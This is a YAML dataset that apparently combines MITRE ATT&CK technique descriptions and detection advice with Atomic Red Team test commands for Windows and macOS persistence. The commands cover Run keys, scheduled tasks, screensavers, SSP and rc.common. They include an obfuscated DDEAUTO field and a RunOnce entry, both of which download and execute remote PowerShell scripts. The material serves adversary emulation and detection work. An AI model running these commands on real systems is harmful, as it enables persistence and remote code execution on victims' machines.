- description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
4, 2019.
source_name: Microsoft Detect Outlook Forms
url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
- description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
provides blue teams with the ability to detect Ruler usage against Exchange.
Retrieved February 4, 2019.
source_name: SensePost NotRuler
url: https://github.com/sensepost/notruler
modified: '2019-10-08T21:10:31.591Z'
identifier: T1137
atomic_tests:
- name: DDEAUTO
description: |2
TrustedSec - Unicorn - https://github.com/trustedsec/unicorn
SensePost DDEAUTO - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Word VBA Macro
[Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail)
supported_platforms:
- windows
executor:
name: manual
steps: |
1. Open Word
2. Insert tab -> Quick Parts -> Field
3. Choose = (Formula) and click ok.
4. Once the field is inserted, you should now see "!Unexpected End of Formula"
5. Right-click the Field, choose "Toggle Field Codes"
6. Paste in the code from Unicorn or SensePost
7. Save the Word document.
9. DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"
10. DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\v1.0\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http:///download.ps1'); # " "Microsoft Document Security Add-On"
T1150:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Plist Modification
description: "Property list (plist) files contain all of the information that
macOS and OS X uses to configure applications and services. These files are
UTF-8 encoded and formatted like XML documents via a series of keys surrounded
by < >. They detail when programs should execute, file paths to the executables,
program arguments, required OS permissions, and many others. plists are located
in certain locations depending on their purpose such as /Library/Preferences
(which execute with elevated privileges) and ~/Library/Preferences
(which execute with a user's privileges). \nAdversaries can modify these plist
files to point to their own code, can use them to execute their code in the
context of another user, bypass whitelisting procedures, or even use them
as a persistence mechanism. (Citation: Sofacy Komplex Trojan)"
id: attack-pattern--06780952-177c-4247-b978-79c357fb311f
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-06-25T11:58:11.559Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1150
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1150
- source_name: Sofacy Komplex Trojan
description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
x_mitre_defense_bypassed:
- Application whitelisting
- Process whitelisting
- Whitelisting by file name or path
identifier: T1150
atomic_tests:
- name: Plist Modification
description: 'Modify MacOS plist file in one of two directories
'
supported_platforms:
- macos
executor:
name: manual
steps: |
1. Modify a .plist in
/Library/Preferences
OR
~/Library/Preferences
2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md)
T1163:
technique:
x_mitre_permissions_required:
- root
x_mitre_data_sources:
- File monitoring
- Process monitoring
name: Rc.common
description: |-
During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.
Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).
id: attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: The /etc/rc.common file can be monitored to
detect changes from the company policy. Monitor process execution resulting
from the rc.common script for unusual or unknown applications or behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1163
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1163
- source_name: Startup Items
description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
2017.
url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
- source_name: Methods of Mac Malware Persistence
description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
modified: '2019-07-18T17:28:22.742Z'
identifier: T1163
atomic_tests:
- name: rc.common
description: |
Modify rc.common
[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html)
supported_platforms:
- macos
executor:
name: sh
command: 'echo osascript -e ''tell app "Finder" to display dialog "Hello World"''
>> /etc/rc.common
'
T1164:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- File monitoring
name: Re-opened Applications
description: "Starting in Mac OS X 10.7 (Lion), users can specify certain applications
to be re-opened when a user reboots their machine. While this is usually done
via a Graphical User Interface (GUI) on an app-by-app basis, there are property
list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist
and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist.
\n\nAn adversary can modify one of these files directly to include a link
to their malicious executable to provide a persistence mechanism each time
the user reboots their machine (Citation: Methods of Mac Malware Persistence)."
id: attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: Monitoring the specific plist files associated with reopening
applications can indicate when an application has registered itself to be
reopened.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1164
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1164
- description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
source_name: Methods of Mac Malware Persistence
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
modified: '2019-06-25T11:28:26.938Z'
identifier: T1164
atomic_tests:
- name: Re-Opened Applications
description: |
Plist Method
[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
supported_platforms:
- macos
executor:
name: manual
steps: |
1. create a custom plist:
~/Library/Preferences/com.apple.loginwindow.plist
or
~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist
- name: Re-Opened Applications
description: |
Mac Defaults
[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
supported_platforms:
- macos
input_arguments:
script:
description: path to script
type: path
default: "/path/to/script"
executor:
name: sh
command: |
sudo defaults write com.apple.loginwindow LoginHook #{script}
sudo defaults delete com.apple.loginwindow LoginHook
T1060:
technique:
x_mitre_data_sources:
- Windows Registry
- File monitoring
x_mitre_permissions_required:
- User
- Administrator
name: Registry Run Keys / Startup Folder
description: |-
Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
id: attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- HKEY_LOCAL_MACHINE keys require administrator access to create and modify
type: attack-pattern
x_mitre_detection: |-
Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Oddvar Moe, @oddvarmoe
created: '2017-05-31T21:30:49.988Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1060
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1060
- source_name: capec
external_id: CAPEC-270
url: https://capec.mitre.org/data/definitions/270.html
- source_name: Microsoft Run Key
description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
12, 2014.
url: http://msdn.microsoft.com/en-us/library/aa376977
- source_name: Microsoft RunOnceEx APR 2018
description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry
Key. Retrieved June 29, 2018.
url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
- source_name: Oddvar Moe RunOnceEx Mar 2018
description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
from Autoruns.exe. Retrieved June 29, 2018.
url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
- description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
source_name: TechNet Autoruns
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-06-20T18:40:10.437Z'
identifier: T1060
atomic_tests:
- name: Reg Key Run
description: 'Run Key Persistence
'
supported_platforms:
- windows
input_arguments:
command_to_execute:
description: Thing to Run
type: Path
default: C:\Path\AtomicRedTeam.exe
executor:
name: command_prompt
command: |
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"
REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f
- name: Reg Key RunOnce
description: 'RunOnce Key Persistence
'
supported_platforms:
- windows
input_arguments:
thing_to_execute:
description: Thing to Run
type: Path
default: C:\Path\AtomicRedTeam.dll
executor:
name: command_prompt
command: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"
REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f
- name: PowerShell Registry RunOnce
description: 'RunOnce Key Persistence via PowerShell
'
supported_platforms:
- windows
input_arguments:
thing_to_execute:
description: Thing to Run
type: Path
default: powershell.exe
executor:
name: powershell
command: |
$RunOnceKey = "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat`")"'
Remove-ItemProperty -Path $RunOnceKey -Name "NextRun" -Force
- name: Startup Folder
description: 'Add Shortcut To Startup via PowerShell
'
supported_platforms:
- windows
input_arguments:
thing_to_execute:
description: Thing to Run
type: Path
default: C:\Path\AtomicRedTeam.exe
executor:
name: powershell
command: |
$TargetFile = "$env:SystemRoot\System32\#{thing_to_execute}"
$ShortcutFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Notepad.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
$Shortcut.TargetPath = $TargetFile
$Shortcut.Save()
T1053:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
- User
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Windows event logs
name: Scheduled Task
description: |-
Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security)
An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
x_mitre_remote_support: true
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.
Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Prashant Verma, Paladion
- Leo Loobeek, @leoloobeek
- Travis Smith, Tripwire
- Alain Homewood, Insomnia Security
created: '2017-05-31T21:30:46.977Z'
x_mitre_effective_permissions:
- SYSTEM
- Administrator
- User
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1053
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1053
- source_name: capec
external_id: CAPEC-557
url: https://capec.mitre.org/data/definitions/557.html
- source_name: TechNet Task Scheduler Security
description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
June 8, 2016.
url: https://technet.microsoft.com/en-us/library/cc785125.aspx
- source_name: Twitter Leoloobeek Scheduled Task
description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
December 12, 2017.
url: https://twitter.com/leoloobeek/status/939248813465853953
- source_name: TechNet Forum Scheduled Task Operational Setting
description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
settings. Retrieved December 12, 2017.
url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
- source_name: TechNet Scheduled Task Events
description: Microsoft. (n.d.). General Task Registration. Retrieved December
12, 2017.
url: https://technet.microsoft.com/library/dd315590.aspx
- description: Microsoft. (2017, May 28). Audit Other Object Access Events.
Retrieved June 27, 2019.
source_name: Microsoft Scheduled Task Events Win10
url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
- description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
source_name: TechNet Autoruns
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-25T19:04:10.980Z'
identifier: T1053
atomic_tests:
- name: At.exe Scheduled task
description: |
Executes cmd.exe
Note: deprecated in Windows 8+
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'at 13:20 /interactive cmd
'
- name: Scheduled task Local
description: ''
supported_platforms:
- windows
input_arguments:
task_command:
description: What you want to execute
type: String
default: C:\windows\system32\cmd.exe
time:
description: What time 24 Hour
type: String
default: 72600
executor:
name: command_prompt
elevation_required: false
command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
'
- name: Scheduled task Remote
description: 'Create a task on a remote system
'
supported_platforms:
- windows
input_arguments:
task_command:
description: What you want to execute
type: String
default: C:\windows\system32\cmd.exe
time:
description: What time 24 Hour
type: String
default: 72600
target:
description: Target
type: String
default: localhost
user_name:
description: Username DOMAIN\User
type: String
default: DOMAIN\user
password:
description: Password
type: String
default: At0micStrong
executor:
name: command_prompt
command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
"Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
'
T1180:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- Windows Registry
- File monitoring
x_mitre_permissions_required:
- User
name: Screensaver
description: "Screensavers are programs that execute after a configurable time
of user inactivity and consist of Portable Executable (PE) files with a .scr
file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application
scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\
on 64-bit Windows systems, along with screensavers included with base Windows
installations. \n\nThe following screensaver settings are stored in the Registry
(HKCU\\Control Panel\\Desktop\\) and could be manipulated to
achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE
path\n* ScreenSaveActive - set to '1' to enable the screensaver\n*
ScreenSaverIsSecure - set to '0' to not require a password to
unlock\n* ScreenSaveTimeout - sets user inactivity timeout before
screensaver is executed\n\nAdversaries can use screensaver settings to maintain
persistence by setting the screensaver to run malware after a certain timeframe
of user inactivity. (Citation: ESET Gazer Aug 2017)"
id: attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.
Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Bartosz Jerzman
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1180
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1180
- description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
5, 2017.
source_name: Wikipedia Screensaver
url: https://en.wikipedia.org/wiki/Screensaver
- description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
backdoor. Retrieved September 14, 2017.'
source_name: ESET Gazer Aug 2017
url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
modified: '2019-09-03T16:12:27.771Z'
identifier: T1180
atomic_tests:
- name: Set Arbitrary Binary as Screensaver
description: 'This test copies a binary into the Windows System32 folder and
sets it as the screensaver so it will execute for persistence. Requires a
reboot and logon.
'
supported_platforms:
- windows
input_arguments:
input_binary:
description: Executable binary to use in place of screensaver for persistence
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: command_prompt
elevation_required: true
command: |
copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
shutdown /r /t 0
T1101:
technique:
x_mitre_data_sources:
- DLL monitoring
- Windows Registry
- Loaded DLLs
x_mitre_permissions_required:
- Administrator
name: Security Support Provider
description: |-
Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.
(Citation: Graeber 2014)
id: attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys.
Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
R2 may generate events when unsigned SSP DLLs try to load into the LSA by
setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber
2014) (Citation: Microsoft Configure LSA)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:13.447Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1101
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1101
- source_name: Graeber 2014
description: Graeber, M. (2014, October). Analysis of Malicious Security Support
Provider DLLs. Retrieved March 1, 2017.
url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
- source_name: Microsoft Configure LSA
description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
Retrieved June 24, 2015.
url: https://technet.microsoft.com/en-us/library/dn408187.aspx
modified: '2019-06-24T12:15:29.952Z'
identifier: T1101
atomic_tests:
- name: Modify SSP configuration in registry
description: Add a value to a Windows registry SSP key, simulating an adversarial
modification of those keys.
supported_platforms:
- windows
input_arguments:
fake_ssp_dll:
description: Value added to registry key. Normally refers to a DLL name
in C:\Windows\System32.
type: String
default: not-a-ssp
executor:
name: powershell
elevation_required: true
command: |
# run these in sequence
$SecurityPackages = Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'
$SecurityPackagesUpdated = $SecurityPackages
$SecurityPackagesUpdated += "#{fake_ssp_dll}"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated
# revert (before reboot)
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
T1166:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Setuid and Setgid
description: |-
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].
An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).
id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor the file system for files that have the setuid or
setgid bits set. Monitor for execution of utilities, like chmod, and their
command-line arguments to look for setuid or setguid bits being set.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- Administrator
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1166
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1166
- source_name: setuid man page
description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
Retrieved September 21, 2018.
url: http://man7.org/linux/man-pages/man2/setuid.2.html
- source_name: OSX Keydnap malware
description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
is hungry for credentials. Retrieved July 3, 2017.
